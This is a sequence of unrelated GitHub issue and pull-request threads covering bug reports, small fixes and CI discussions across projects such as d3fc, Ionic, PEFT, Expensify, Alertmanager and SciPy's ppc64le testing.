Love this library. Great work. I learned how to use d3 style functions by looking at the source of the different calculators
I have shamelessly copied some of the calculators to my own project.
While testing and looking closer at the source I identified there is an opportunity to use a modified version of d3.zip and avoid an additional array traversal.
Look at this in action here and here
I send PR to implement these if you so wish.

Glad to hear you like d3fc and have found it useful. Regarding the indicators / calculators, is there any way you could depend directly on our components? They have been wrong in the past, so would make maintenance easier.
A PR with improvements would be great - thanks.

I was of the same idea, about depending on them instead of copying and modifying the source code. There are some small changes I will need, for e.g.

some of the windowSize attributes are hard coded, and does not accept input
Stochastic oscillator does not allow for smoothing of K to support Full STO
bollingerBands always use sma and no option to use ema

and a few more reasons I decided to copy them instead. My library already supports these options above and I don't want to remove them. If these calculators can be updated to support both our needs then certainly I prefer to depend on these instead of copying them over.
Would you be willing to create a separate repo and npm package for just these indicators and calculators? I would not want to include the other portions like the renderer. I can contribute to make this new repo suitable for me. and both the libraries depend on this new package. Thoughts?

Actually, windowSize is exposed via a modified version of d3.rebind, becoming kWindowSize on the parent component.
Anyhow, I am all for the idea of moving the calculators to a separate repo. They do not have any dependency on D3 so would sit quite nicely on their own. I'll see what I can do ...

ah, I see. sorry did not even scroll down that far. I will work on the PR for an improved zip and ATR over the next week.

The indicators are now in their own repository and are independent of the calculators (which are still part of this repo). I hope this makes them easier to use.

@rrag - would you be interested in integrating the d3fc-technical-indicators project into your react stock chart project? It would be good to include some of the indicators you have added as well.

@ColinEberhardt absolutely I will begin to break it out soon

That's great news @rrag - if you need any help, give me a shout


Fixes a panic when migrating hibernated shoots

How to categorize this PR?

/area control-plane-migration
/kind bug
What this PR does / why we need it:
This PR fixes а nil pointer exception when migrating a hibernated shoot and SNI is enabled.
Which issue(s) this PR fixes:
Fixes #3759
Special notes for your reviewer:
When using SNI the botanist.SeedNamespaceObject has to be set as this code is called when botanist.WakeUpKubeAPIServer is executed during migration of a hibernated shoot.
Release note:

Fixes a nil pointer dereference panic that happens when migrating a hibernated shoot and SNI is enabled.

Applied the review comments @vpnachev @ialidzhikov could you take another look.

Applied the new review change requests :).


bug: animating a root-navigation backwards, does not work

Bug Report
Ionic version:
[x] 5.2.7
Current behavior:
Animating a root navigation in the back-direction, does not work.
Expected behavior:
When I use animationDirection: 'back' within a root navigation, the view should be animated like a back-navigation.
Steps to reproduce:
Create an application with two components. Navigate from one component to the other with a root-navigation and use the value back for the animationDirection.
Related code:
`this.navController.navigateRoot(route, {animated: true, animationDirection: 'back'});`

Other information:
When I use animationDirection: 'forward' with a root-navigation, the navigation will be animated.
Ionic info:
Ionic:

   Ionic CLI                     : 5.2.7
   Ionic Framework               : @ionic/angular 4.7.1
   @angular-devkit/build-angular : 0.13.8
   @angular-devkit/schematics    : 7.2.4
   @angular/cli                  : 7.3.8
   @ionic/angular-toolkit        : 1.4.1

Cordova:

   Cordova CLI       : not installed
   Cordova Platforms : not available
   Cordova Plugins   : not available

Utility:

   cordova-res : not installed
   native-run  : not installed

System:

   ios-sim : 8.0.1
   NodeJS  : v12.2.0 (/Users/xxx/.nvm/versions/node/v12.2.0/bin/node)
   npm     : 6.9.0
   OS      : macOS Mojave
   Xcode   : Xcode 10.2.1 Build version 10E1001

Thanks for the issue. Can you provide a repo with the code required to reproduce this issue?


lora.Linear.bias should point to lora.Linear.base_layer.bias as the lora.Linear.weight does

System Info

transformers version: 4.39.0.dev0
Platform: Linux-5.4.0-166-generic-x86_64-with-glibc2.31
Python version: 3.9.17
Huggingface_hub version: 0.21.1
Safetensors version: 0.4.2
Accelerate version: 0.27.2
Accelerate config:    not found
PyTorch version (GPU?): 2.2.0+cu121 (True)
Tensorflow version (GPU?): 2.13.0 (True)
Flax version (CPU?/GPU?/TPU?): 0.7.0 (cpu)
Jax version: 0.4.13
JaxLib version: 0.4.13
Using GPU in script?:
Using distributed or parallel set-up in script?:
Peft version: 0.9.0
Trl version: 0.7.11

Who can help?
@pacman100 @BenjaminBossan
Information

[ ] The official example scripts
[X] My own modified scripts

Tasks

[ ] An officially supported task in the examples folder
[ ] My own task or dataset (give details below)

Reproduction
I am running the following:
from datasets import load_dataset
from trl import SFTTrainer
from peft import LoraConfig
from transformers import AutoTokenizer, AutoModelForCausalLM, TrainingArguments
import torch

model_id = "ArthurZ/mamba-130m"
tokenizer = AutoTokenizer.from_pretrained(model_id, pad_token ="<|padding|>")
model = AutoModelForCausalLM.from_pretrained(model_id, pad_token_id = 1, torch_dtype = torch.float32, residual_in_fp32 =True, device_map = {"":1})

dataset = load_dataset("Abirate/english_quotes", split="train")

training_args = TrainingArguments(
    output_dir="./results",
    num_train_epochs=5,
    per_device_train_batch_size=4,
    logging_dir='./logs',
    logging_steps=10,
    learning_rate=1e-3
)
lora_config =  LoraConfig(
        r=8,
        target_modules=["x_proj", "in_proj", "embeddings"],
        task_type="CAUSAL_LM",
        bias="none"
)
lora_config = None
trainer = SFTTrainer(
    model=model,
    tokenizer=tokenizer,
    args=training_args,
    peft_config=lora_config,
    train_dataset=dataset,
    dataset_text_field="quote",
)

trainer.train()

from https://github.com/huggingface/transformers/pull/28094 (Add mamba).
TLDR I want to run a custom kernel:
            contextualized_states = mamba_inner_fn(
                projected_states,
                self.conv1d.weight,
                self.conv1d.bias if self.use_conv_bias else None,
                self.x_proj.weight,
                self.dt_proj.weight,
                self.out_proj.weight,
                self.out_proj.bias.float() if self.use_bias else None,
                -torch.exp(self.A_log.float()),
                None,  # input-dependent B
                None,  # input-dependent C
                self.D.float(),
                delta_bias=self.dt_proj.bias.float(),
                delta_softplus=True,
            )

but self.dt_proj.bias no longer exists. My understanding is that self.dt_proj is now a lora_linear and self.dt_proj.weight is accessible and works fine. Why not the bias?
Expected behavior
When you access the weight  it points to the base_layer.weight, when you want to access the bias you have an error. If you are not training on the bias you should still be able to manually add the bias.

@ArthurZucker I created a PR: #1530. bias being a "read only" attribute (via @property) should be enough, right?


When I try to access the "Payments" page, I get stuck on a white screen

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Action Performed:

Open New Expensify
Go to Settings (your avatar)  > Payments
Get stuck on a white screen

This white screen never clears:

Expected Result:
I should be able to access the Payments page on New Expensify (app or website)
Actual Result:
When I try to access the Payments page, I get stuck on a white screen.
Workaround:

Can the user still use Expensify without this being fixed? Have you informed them of the workaround?
Not able to access the Payments page.

Platform:
All

Web
iOS
Android
Desktop App
Mobile Web

Version Number: v1.1.3-1
Reproducible in staging?: Yes
Reproducible in production?: Yes
Logs: https://stackoverflow.com/c/expensify/questions/4856
Issue reported by: mhaxhiu
Slack conversation: n/a
View all open jobs on GitHub

Triggered auto assignment to @laurenreidexpensify (AutoAssignerTriage), see https://stackoverflow.com/c/expensify/questions/4749 for more details.

Ha caught me as I was just looking at my dailies. Okay so I can't replicate this in web - am I missing something in your steps?

Hmm I didn't do anything special on my side, it's reproducible every time for me.

Hmmm I can't repro this on Android. Gonna ask in open-source.

This issue is caused by the below line, but additionalData.bankName is expected here in bankAccount but seems not available here.  cc: @stitesExpensify
https://github.com/Expensify/App/blob/fa7cb605574f1ddd147615eb070d828985dfc20a/src/pages/settings/Payments/PaymentMethodList.js#L90
We can modify above line as shown below, to fix this issue.
const {icon, iconSize} = getBankIcon(_.get(bankAccount, 'additionalData.bankName', ''));

Seems like a fine solution to me @Santhosh-Sellavel. @laurenreidexpensify want to make a job and hire him? Nice quick one line fix :smile:

@stitesExpensify can you add the external label pls? thanks

Added!

@stitesExpensify Can I open up a PR for this?

Let's wait until you are hired on upwork, just to make sure you get paid when it's merged :)

@Santhosh-Sellavel issue is here on UPwork https://www.upwork.com/jobs/~0120784484db15f0d0 if you want to apply, I'll hire you tomorrow

Triggered auto assignment to @Jag96 (Exported), see https://stackoverflow.com/c/expensify/questions/7972 for more details.


Print a warning in --time if using a debug build

We now get a static message warning: verus was compiled in debug mode to warn people that the numbers are suspicious.
If someone has an opinion on the error message I'm happy to change it.
I couldn't find an easy way to get a Reporter and create a nice colored warning (at least at this point in the code).

I'd rather we used the error reporting infrastructure for this.

Is the intent to only print this when using --time? Because from the diff, it looks like it's always going to print in debug mode.

Is the intent to only print this when using --time? Because from the diff, it looks like it's always going to print in debug mode.

I was about to ask the same, but then I thought it makes sense to have it enabled always, to warn the user that they're getting worse performance due to the debug build.


Travis CI

Trying to get Travis to build our Haskell :-)

This is really irritating. It passes locally, even when I try to run it in an ubuntu:trusty Docker container to emulate Travis' build environment.

The output might be a bit better, but it seems to have reduced the raciness.
I think actually we need to persuade it not to try and update its output somehow since that's causing it to be really hard to read.

The --no-terminal option should have suppressed any updating - perhaps there's a bug? Reliable is good for now, though it's weird that it should cause timing issues unless we're getting a port collision or something?

The --no-terminal applies to stack, not to some of the underlying bits, like quickcheck. I think it's more that theoretically we have many cores, but they're heavily contested so it makes the timing issues really bad.

Given that you're happy, I'm happy for now. We can revist the number of threads later if needs be.


feat(rust,python): fix checkpoint with column nullable false

Description
when creating min , max , null schema make sure the nullable is true
Related Issue(s)

closes #2675
Documentation

Thanks for the pull request! I was trying out this patch and couldn't get the tests to fail, how were you running/validating the python tests for the Rust changes?

you can trigger this new test on main  tests/test_checkpoint.py::test_checkpoint_with_nullable_false
it's failing for me without the schema fix .
FAILED tests/test_checkpoint.py::test_checkpoint_with_nullable_false - Exception: Json error: whilst decoding field 'add': whilst decoding field 'stats_parsed': whilst decoding field 'minValues'...


Add foundation + collection types to xlang

This brings the collection interfaces, async interfaces, and foundation structs into the Foundation namespace, with the following changes:

No observable collections
IMapView.Split is removed
Only specifying single interface inheritance in the metadata
No "progress" async interfaces
No IAsyncInfo
The Id property/methods have been removed from the remaining async interfaces
Point, Size, and Rect are removed

FYI, I manually kicked off PR validation builds. Not sure why they didn't kick off automatically


Text for Days, hours, minutes, sec

Can we add the text for days, hours, minutes, sec below the counter ?

I have added the days like this
 separatorType: SeparatorType.title,
but can I add the days text below of circle?

sorry for late reply, now you can customize with RawSlideCountdown, RawDigitItem in ver 0.7.0. checkout dev version https://pub.dev/packages/slide_countdown/versions/0.7.0-dev.1


refactor(forkJoin): remove redundant forkJoin spec

This is an addition to #4879. I've noticed there's some forgotten /spec/operators/forkJoin-spec.ts that was overriding the marble diagram from the correct forkJoin spec here /spec/observables/forkJoin-spec.ts. But the old diagram is probably more descriptive (this is the one use at https://rxjs.dev/api/index/function/forkJoin right now):
  asDiagram('forkJoin')('should emit the last emitted value from each observable', () => {
    const e1 =   hot('-a--b-----c-d-e-|');
    const e2 =   cold('--1--2-3-4---|   ');
    const e3 =   hot('--------f--g-h-i--j-|');
    const expected = '--------------------(z|)';
    const expectedValue = {
      z: ['e', '4', 'j']
    };
    const result = forkJoin(e1, e2, e3);
    expectObservable(result).toBe(expected, expectedValue);
  });

So I pasted this initial test over the current one in /spec/observables/forkJoin-spec.ts and just switched the order of source Observables because "hot" Observable as always listed first so the marble diagram will match the code. https://github.com/ReactiveX/rxjs/blob/master/spec/helpers/tests2png/diagram-test-runner.ts#L15
Related issue (if exists): #4879

@cartant I messed the rebase so I had to force push it but it should be fine now

No worries. Thanks for fixing it up.


ShapeScript fails to add .shape extension to new document

Steps to reproduce:

File->New
In the Save Panel that appears, type a name like "Foo"
Hit return.

Result:

Expected result:
ShapeScript adds the missing .shape extension and creates and opens the new document.
I'm happy to submit a PR for this if it's helpful.

@armadsen thanks for reporting this, a PR would be great!
I'm fairly sure it used to behave correctly, so it might be worth bisecting to see when it broke.

Great, I'll get a PR submitted shortly.


VisualShader GPU particle index is type uint but is trying to assign as int

Godot version
4.0.dev-10
System information
Windows 11
Issue description
It seems like the index type for a gpu particle is uint but when you are trying to use it in the visual shader system it is always trying to assign it to an int aka int n_out10p0 = INDEX and this causes a shader compilation error.
As a work around I've created a custom shader node with the following code and named it GPUIndex
func _get_code(input_vars, output_vars, mode, type):
	return "%s = int(INDEX);" % output_vars[0]

Steps to reproduce

Create GPUParticle3D node
Add a Shader and then a VisualShader
Add node index from input
Try to assign the output to any inputs will produce a shader compilation error.

Minimal reproduction project
Not needed

cc @Chaosus

Because visual shaders currently do not support uint type, you must convert it to an integer first.

@Chaosus Going through the options, I couldn't find any visual nodes that would convert from uint to int, everything I selected would always assign it to an int without a int(INDEX) on the right.
Is there a node I'm missing?

Is there a node I'm missing?

No, its a complex thing, including nodes, return type, menu support etc


Update bot-service-channel-directline.md

Background
As the following article, Direct Line App Service Extension has been already generally available since Build 2020. However, bot docs say public preview.

The Direct Line App Service Extension is now generally available
Build 2020 - Conversational AI updates

Fix
Public preview -> General availability

Work in progress see PR: https://github.com/MicrosoftDocs/bot-docs-pr/pull/2341

Work in progress see PR: MicrosoftDocs/bot-docs-pr#2341

Thanks, mmiele!
However, I cannot see https://github.com/MicrosoftDocs/bot-docs-pr/pull/2341... Is that correct link?

Replaced by PR is https://github.com/MicrosoftDocs/bot-docs-pr/pull/2346 to make some content fixes.
Notice that Direct Line Extension package is still in preview. The official package will be available in the upcoming release (R11).


Code review fixes; migrate to Gradle wrapper 2.8; code cleanup; tmp dir for FS storage creation improvement

@alexander-yevsyukov, please see my TODO with question in ProjectionShould.java.


feat(developer): add button to show parsed structure

This is a small extension to the developer.html

It adds a button "Show structure" that adds a class to the "editor"-div
Once this happens, additional styles come into effect, that render highlighted spans as blocks with borders and a small label containing the class name.

While this is not perfect (I would rather like to see all modes) this was very helpful when I made that latest changes to the Handlebars language and I would like to see this in the master branch.

Snap of this in action? :)

it's more helpful, if you define more classes on youre modes:

Did you try and inline version vs block?

No, I actually wanted to have a tree view. But it might look better inline, if that doesn't run into layouting problems
I think the optimal solution for developing languages is still another one. Something displaying the test cases in a live reload server. I almost started building that, before I saw developer.html.
I didn't want to spend too much time on tooling, because the actual goal was to write the Handlebars definition.

Add a changelog entry for this improvement?

Will do.


Feat: add create cloud cluster interface

Description of your changes

Add create cloud cluster API and support ACK.

Create ACK Cluster
Get creation status
List all creation
Cancel creation

I have:

[x] Read and followed KubeVela's contribution process.
[x] Run make reviewable to ensure this PR is ready for review.

How has this code been tested

Special notes for your reviewer

No dependencies on the Application?

No dependencies on the Application?

@barnettZQG Yes. Decoupled with Application since current alibaba-ack trait definition cannot support the multi-user scenario here, so using native solution. See #2585 for more details.


Fix slack link

This will take time. Options:

https://github.com/outsideris/slack-invite-automation
https://github.com/rauchg/slackin
https://levels.io/slack-typeform-auto-invite-sign-ups/

For now, open an issue or email me at richard littauer, gmail.

This is engineering overkill. If anyone wants to join the slack, post a message here, message me on Twitter at @richlitt, or email me. I'll add you manually. :)


go 1.22.9

go 1.22.9

fixes: #3839

https://artifacthub.io/packages/helm/prometheus-community/alertmanager?modal=security-report

I think we are building with Go 1.23 https://github.com/prometheus/alertmanager/commit/42eb536084f04d28b698b0b5c3976650de714ffe

I think we are building with Go 1.23 42eb536

Good news. I will close this PR once that commit is merged into main. Can you tell me when it will be merged? Thank you.

I think we are building with Go 1.23 42eb536

Good news. I will close this PR once that commit is merged into main. Can you tell me when it will be merged? Thank you.

It was merged ~1 month ago, October 16th (https://github.com/prometheus/alertmanager/pull/4071).

I think we are building with Go 1.23 42eb536

Good news. I will close this PR once that commit is merged into main. Can you tell me when it will be merged? Thank you.

It was merged ~1 month ago, October 16th (#4071).

Ah, I see. But go.mod still remains as go 1.22.
https://github.com/prometheus/alertmanager/blob/main/go.mod

I think we are building with Go 1.23 42eb536

Good news. I will close this PR once that commit is merged into main. Can you tell me when it will be merged? Thank you.

It was merged ~1 month ago, October 16th (#4071).

Ah, I see. But go.mod still remains as go 1.22.0. https://github.com/prometheus/alertmanager/blob/main/go.mod

If I understand, go.mod is not supposed to contain patch releases. It tells the Go build tool the oldest version of Go that someone can use to compile the project, and older versions won't work, because there are missing features.
It doesn't mean that is the version of Go that is used or must be used though. We build official releases against Go 1.23.2. You can also use 1.22.9. The version in go.mod gives you that choice to use either 1.22 or 1.23.
If I am wrong please correct me though.

@grobinson-grafana
Now that I think about it, there are some parts I don't quite understand. Currently, go.mod says go 1.22.0. Is that correct? And if I leave it as is, will the vulnerability in the Security report be fixed?

@grobinson-grafana
Now that I think about it, there are some parts I don't quite understand. Currently, go.mod says go 1.22.0. Is that correct? And if we leave it as is, will the vulnerability in the security report be fixed?

I believe that report is based on the Alertmanager 0.27 release that was made back in February, 2024. It's completely unrelated to go.mod. It depends on the version of Go we use to build the release. https://github.com/prometheus/alertmanager/pull/4071 updates this version to Go 1.23.2 When Alertmanager 0.28 is released, there will be a new version of Alertmanager that should have most of these fixed.

@grobinson-grafana
Now that I think about it, there are some parts I don't quite understand. Currently, go.mod says go 1.22.0. Is that correct? And if we leave it as is, will the vulnerability in the security report be fixed?

I believe that report is based on the Alertmanager 0.27 release that was made back in February, 2024. It's completely unrelated to go.mod. It depends on the version of Go we use to build the release. #4071 updates this version to Go 1.23.2 When Alertmanager 0.28 is released, there will be a new version of Alertmanager that should have most of these fixed.

Thank you for confirming. I will close this PR again.


Unpin sphinx-autodoc version in pyproject.toml

Currently the version is pinned at 2.0.1. We noticed builds starting to fail after the newest release (v3.0.0) was released about two hours ago.
We might need to notify users of PPT that they need to update versions somehow. Some way to advertise this would be really nice.

For what it's worth, we are also pinning the sphinx and sphinx-rtd-theme versions as well. And at least a quick investigation indicates we can remove the pins on those and expect the system to work well.
Note - when PPT was initially put together, the latest versions didn't work well together, which was the reason for pinning in the first place.

Important note - this unpinning needs to happen in the requirements.txt file as well. That is where GitHub CI finds the requirements to include when building documentation.


New Gateway: Fast exit issues

1/ Should be "enter amount to exit" NOT "Enter amount to deposit"
2/ Red error message should refer to exit, not swap
3/ Action button should be "Exit", not "Fast exit"

resolved


Support for IP ranges in block lists

It's been suggested by mike in 2008: support for ranges should be implemented.
At the very least the ranges MediaWiki also supports in blocking, but I think it'd be better to extend this to a more flexible range, and as a bonus put in a ranges MediaWiki supports.
So that for example the following would be possible

CVNBot bl add <IP_ADDRESS>-<IP_ADDRESS>

And to make make it compatible with Autoblacklistings that follow a range-block:

CVNBot bl add <IP_ADDRESS>/25 x=0 r=Autoblacklist: Repeated vandalism, {{schoolblock}} on commons.wikimedia

which the software would convert to

CVNBot bl add <IP_ADDRESS>-<IP_ADDRESS>

See also:
https://commons.wikimedia.org/wiki/User:Kanonkas/Tools#Range_block_calculators
Then when performing the "intel" or "bl show" command it could return something like this

CVNBot intel <IP_ADDRESS>
CVNBot: <IP_ADDRESS> in range <IP_ADDRESS>-<IP_ADDRESS> is on global blacklist , added by Krinke until the end of time ("Autoblacklist: Repeated vandalism, {{schoolblock}} on commons.wikimedia")

Imported from https://jira.toolserver.org/browse/SWMTBOT-7

Reporter: Krinkle
Created: 03 June 2010

Given how we query lists right now, this will require some added logic. I'd recommend matching the logic that MediaWiki uses to store IP range blocks.

Change database to also include a range_start and range_end for IP addresses, and using hexadecimal syntax.
That way, the addressed can be matched using < and > in SQL syntax. For example, we can store <IP_ADDRESS>/25 as range_start=7F000000 range_end=7F00007F. And then, where previously we queried for trying to find <IP_ADDRESS>, we'll now first convert it to hex (7F000001) and then also query range_start <= 7F000001 AND range_end >= 7F000001.

Moved to https://phabricator.wikimedia.org/T327125.


Localization and Sharding Support

Localization

Implements Project Fluent

GitHub page for more info

language files are located lang/
Implantation is located at src/i18n
Example languages are en-US and de

Sharding

New files src/manager.ts, src/class/shardingManager.ts
Using formant from discord.js guide

Other Changes

Updated and moved Token error handing to src/bot.ts and src/manager.ts
Added Typing for ExstendedClient.config
Added new scripts to pakage.json

@ppauel

I have been working on the languages stuff and there are some slight changes I would make to the command builder. By using the fallback variable from the i18n file


Add make docker target

This PR adds a new target to make the docker image.
Current issues
None
Code changes

[x] Add new targets for docker images.

Documentation changes
None
Test and Validation Notes
Use make docker to build the docker image on the local system. The image name is gridlabd/<version>-<branch>:latest.  Use gridlabd --docker enable gridlabd/<version>-<branch>:latest to switch from local install to docker image.

@aivanova5, the PR is ready to merge.  Hopefully it will help diagnose the problems with docker hub.


TST: add ppc64le ci testing

Add CI testing on genuine ppc64le hardware via Travis, following in the recent footsteps of NumPy in https://github.com/numpy/numpy/pull/12709. See also: https://github.com/numpy/numpy/issues/12688.
SciPy may have to be a little more cautious here with overgrowth of CI matrix with our long build / test times I suppose.

Here are my thoughts:

All the failures in the ppc64le run are real and need fixing.
Since we're seeing real bugs here, this CI run is useful.
Regarding platform support, the more supported platforms the better, if the maintenance burden is low.
There is no reason to limit CI to the same platforms that we release wheels for, that's an unrelated matter
Given that we get out of the box support for this platform via TravisCI apparently, I see no reason not to use it. If it proves too troublesome we can reconsider of course.

Regarding failures, would be good to try to address at least the easy ones (RuntimeWarning, test tolerance) in this PR. And open issues for the rest.

test_white_tophat03() seems to diverge between x86-64 and POWER8 at grey_erosion(), which seems to drill down to NI_MinOrMaxFilter() in scipy/ndimage/src/ni_filters.c, and the low level preprocessor macros therein.
I spent a few hours debugging and making low-level divergence observations, but not enough of a handle to fix the issue.
np.bool_ is stored as a byte apparently, which initially I thought was a potential issue, but switching to np.bool was of no help (identical test failure).
The data pointers do seem to behave a little differently -- (void *)PyArray_DATA(output) taking on divergent values between the two control flows, it seems.

@tylerjereddy a bit random stab/guess, but might this help:
diff --git a/scipy/ndimage/src/ni_filters.c b/scipy/ndimage/src/ni_filters.c
index 98862f635..9239b4f56 100644
--- a/scipy/ndimage/src/ni_filters.c
+++ b/scipy/ndimage/src/ni_filters.c
@@ -593,7 +593,7 @@ int NI_MinOrMaxFilter(PyArrayObject* input, PyArrayObject* footprint,
     for(jj = 0; jj < size; jj++) {
         double tmp = 0.0;
         switch (PyArray_TYPE(input)) {
-            CASE_MIN_OR_MAX_POINT(NPY_BOOL, npy_bool,
+            CASE_MIN_OR_MAX_POINT(NPY_BOOL, signed char,
                                   pi, oo, filter_size, cvalue, minimum, tmp,
                                   border_flag_value, ss);
             CASE_MIN_OR_MAX_POINT(NPY_UBYTE, npy_ubyte,

I am not quite sure about the C casting rules, but npy_bool is unsigned char and the code seems like it might end up subtracting from it (the structure value, which is cast to double and probably ends up being -1. here in the end. That would make it _tmp += -1.; which I guess casts from (double)-1. to unsigned char. If that is well sorry for the noise, but I somewhat think it may not be.
That said, i am not actually that the structur element makes sense at all to allow for boolean input?

I guess, if that is worth a try, a similar change is maybe needed for the CASE_FILTER_OUT macro call.

@seberg Thanks, I will try that on the POWER8 machine & let you know if it helps

Just to be sure, the full diff would hopefully be (not the final fix probably, and there are pretty certainly more occurrences like this in the file):
diff --git a/scipy/ndimage/src/ni_filters.c b/scipy/ndimage/src/ni_filters.c
index 98862f635..bf4c9f728 100644
--- a/scipy/ndimage/src/ni_filters.c
+++ b/scipy/ndimage/src/ni_filters.c
@@ -593,7 +593,7 @@ int NI_MinOrMaxFilter(PyArrayObject* input, PyArrayObject* footprint,
     for(jj = 0; jj < size; jj++) {
         double tmp = 0.0;
         switch (PyArray_TYPE(input)) {
-            CASE_MIN_OR_MAX_POINT(NPY_BOOL, npy_bool,
+            CASE_MIN_OR_MAX_POINT(NPY_BOOL, signed char,
                                   pi, oo, filter_size, cvalue, minimum, tmp,
                                   border_flag_value, ss);
             CASE_MIN_OR_MAX_POINT(NPY_UBYTE, npy_ubyte,
@@ -637,7 +637,7 @@ int NI_MinOrMaxFilter(PyArrayObject* input, PyArrayObject* footprint,
                 goto exit;
         }
         switch (PyArray_TYPE(output)) {
-            CASE_FILTER_OUT(NPY_BOOL, npy_bool, po, tmp);
+            CASE_FILTER_OUT(NPY_BOOL, signed char, po, tmp);
             CASE_FILTER_OUT(NPY_UBYTE, npy_ubyte, po, tmp);
             CASE_FILTER_OUT(NPY_USHORT, npy_ushort, po, tmp);
             CASE_FILTER_OUT(NPY_UINT, npy_uint, po, tmp);

I will test it locally to make sure it does not break on typical architectures.

Dang, it that idea breaks things no matter which architecture...

Is it possible to add -fsigned-char to CFLAGS?

It isn't about the sign of the char, I think it is due to unsigned char tmp; tmp += -1. (where -1 is a double) not being well defined. But that is just me guessing. Frankly, I do not understand if the code does what it is expected to do. My next stab at it would be this patch (instead of the other one which does not work!):
diff --git a/scipy/ndimage/src/ni_filters.c b/scipy/ndimage/src/ni_filters.c
index 98862f635..de2e97084 100644
--- a/scipy/ndimage/src/ni_filters.c
+++ b/scipy/ndimage/src/ni_filters.c
@@ -510,7 +510,12 @@ case _TYPE:                                                              \
         _oo = _offsets[_ii];                                             \
         _tmp = _oo == _mv ? _cv : *(_type *)(_pi + _oo);                 \
         if (_ss != NULL) {                                               \
-            _tmp += _ss[_ii];                                            \
+            if (_TYPE == NPY_BOOL) {                                     \
+                _tmp += (int)_ss[_ii];                                   \
+            }                                                            \
+            else {                                                       \
+                _tmp += _ss[_ii];                                        \
+            }                                                            \
         }                                                                \
         if (_minimum) {                                                  \
             if (_tmp < _res) {                                           \

I suppose best to print out the value of _tmp to be sure, for white tophat, it is 255 as exepcted for me.

_tmp is a bunch of 255, and then a bunch of 1 values before producing the same failing test result as before, if I apply the most recent patch (from the edit above).

@tylerjereddy ok, then my guess was completely wrong...

Hi Guys,
I was looking at this and recognized some of the UT fails from the set of patches that Anaconda has in their scipy recipe. Perhaps some of these changes just need to be pushed upstream. I've not looked through them yet for proper fixes, but I'll be looking at them now.
https://github.com/AnacondaRecipes/scipy-feedstock/blob/master/recipe/meta.yaml

Thanks @jayfurmanek, that's very helpful. Looks like we can take over most of those fixes.
The ndimage failure is the most tricky one, looks like we shouldn't just silence that. There's a proposed fix in gh-9515.

Maybe some minor whitespace issues here too--default vim config on the farm machine and all. But probably more serious issues to deal with before that's a big concern.

Also, CI results are already showing that the patches I pulled in from the feedstock aren't fully portable to other architectures, so we can't just use them as-is.

Not to be negative about this effort but if we are going to skip the tests that fail on that architecture it will probably fail in the user code. A green CI is obviously nice to have, but those tests have specific purposes which I fear that would boomerang back at us as genuine issues if we ignore them.

Not to be negative about this effort but if we are going to skip the tests that fail on that architecture it will probably fail in the user code. A green CI is obviously nice to have, but those tests have specific purposes which I fear that would boomerang back at us as genuine issues if we ignore them.

Yes they are genuine issues. However they're bugs already that hurt users right now. The idea here is to add CI for a new platform so we can't introduce any new bugs, and then work though fixing the existing ones (for genuine failures we should open an issue per function).

Any movement here? I would suggest we merge the TravisCI change without the other changes. Then over time fix the red issues. We can still merge other PR, so long as it's this matrix entry causing the problems

Not much progress yet, sorry, but if you want I could try to mark required tests with xfail for that platform for now, if that's what you mean.

I know @rgommers wanted to fix the low hanging fruit for 'easy to fix things', I'd be more tempted to xfail all the failing tests and merge the CI change. That way we won't merge things that make things worse.

yes, if there's <10 failures I think that makes sense

Still 4 failing tests:
FAILED scipy/linalg/tests/test_decomp.py::test_aligned_mem - ValueError: On e...
FAILED scipy/sparse/linalg/eigen/lobpcg/tests/test_lobpcg.py::test_tolerance_float32
FAILED scipy/sparse/linalg/isolve/tests/test_iterative.py::test_maxiter_worsening[lgmres]
FAILED scipy/special/tests/test_orthogonal.py::test_roots_genlaguerre - Asser...

and a suspicious:
*** Error in `/home/travis/virtualenv/python3.6.7/bin/python': free(): invalid next size (normal): 0x0000010036444b40 ***

Thanks for summarizing those remaining failures--I've tagged them with xfail now too. Let's see if the CI gets any happier now.

@peterbell10 I believe some of the recent fft test refactorings / adjustments may have introduced some code that probes float128, which is causing some issues on native ppc64le. This doesn't really surprise me, but I believe this is a super-recent adjustment since I'm just observing this on rebase this evening.

I suspect that this is a binary incompatibility when loading the reference data from the .npz file. I don't know anything about ppc but found this comment https://github.com/mamedev/mame/issues/3157#issuecomment-361925619 that suggests so:

The long double type is a bit weird on PPC - it's a pair of double added together effectively

To fix the test, you should be able to just add another special case to this line:
https://github.com/scipy/scipy/blob/eb76b8f8803ac339fba496c2ff0a5237dc97afc1/scipy/fft/_pocketfft/tests/test_real_transforms.py#L39
if (np.longfloat().itemsize == 16
    and not platform.machine().startswith('ppc')):

PPC is in the process of transitioning to IEEE128 long double.

The other outstanding failures I see on aarch64 are various float128 tests in test_real_transforms.py

This definitely isn't just a small precision difference:
>       assert_allclose(x, xr, rtol=0., atol=np.max(xr)*10**(-dec))
E       AssertionError:
E       Not equal to tolerance rtol=0, atol=1.1e-13
E
E       Mismatch: 100%
E       Max absolute difference: 1.42744321e+250
E       Max relative difference: inf
E        x: array([-1.427443e+250, -1.132467e+250, -3.694495e+249,  5.462589e+249,
E               1.236202e+250,  1.415231e+250,  1.009355e+250,  1.863187e+249,
E              -7.137216e+249, -1.318786e+250, -1.378804e+250, -8.689724e+249],
E             dtype=float128)
E        y: array([ 0.,  1.,  2.,  3.,  4.,  5.,  6.,  7.,  8.,  9., 10., 11.],
E             dtype=float128)

I suspect there is a binary incompatibility with the test data. Adding another special case here will just load the float64 test data:
https://github.com/scipy/scipy/blob/5f7733316df2c4a0cad5b735f4773d4bb8d900f7/scipy/fft/_pocketfft/tests/test_real_transforms.py#L39-L44

The other outstanding failures I see on aarch64 are various float128 tests in test_real_transforms.py

This definitely isn't just a small precision difference:

Yes, I meant that for the other tests on aarch64, I hadn't looked at the float128 failures in detail.

I suspect there is a binary incompatibility with the test data. Adding another special case here will just load the float64 test data:
https://github.com/scipy/scipy/blob/5f7733316df2c4a0cad5b735f4773d4bb8d900f7/scipy/fft/_pocketfft/tests/test_real_transforms.py#L39-L44

Thanks for the pointer, I'll look into this and report back.

@tylerjereddy I just noticed that I already suggested changing the reference data in August. Is there a reason you haven't done it that way?

I just noticed that I already suggested changing the reference data in August. Is there a reason you haven't done it that way?

Yes, there's a clear directive above that the purpose of this PR is to xfail currently-failing tests on ppc64le & try to get this merged soon-ish to guard against further issues. Even doing that has proven time-consuming with differences between CI and the  the gcc node I'm working on.
Experts in particular sub-areas of SciPy can then address ppc64le failures themselves with CI in place to demonstrate fixes.

I just noticed that I already suggested changing the reference data in August. Is there a reason you haven't done it that way?

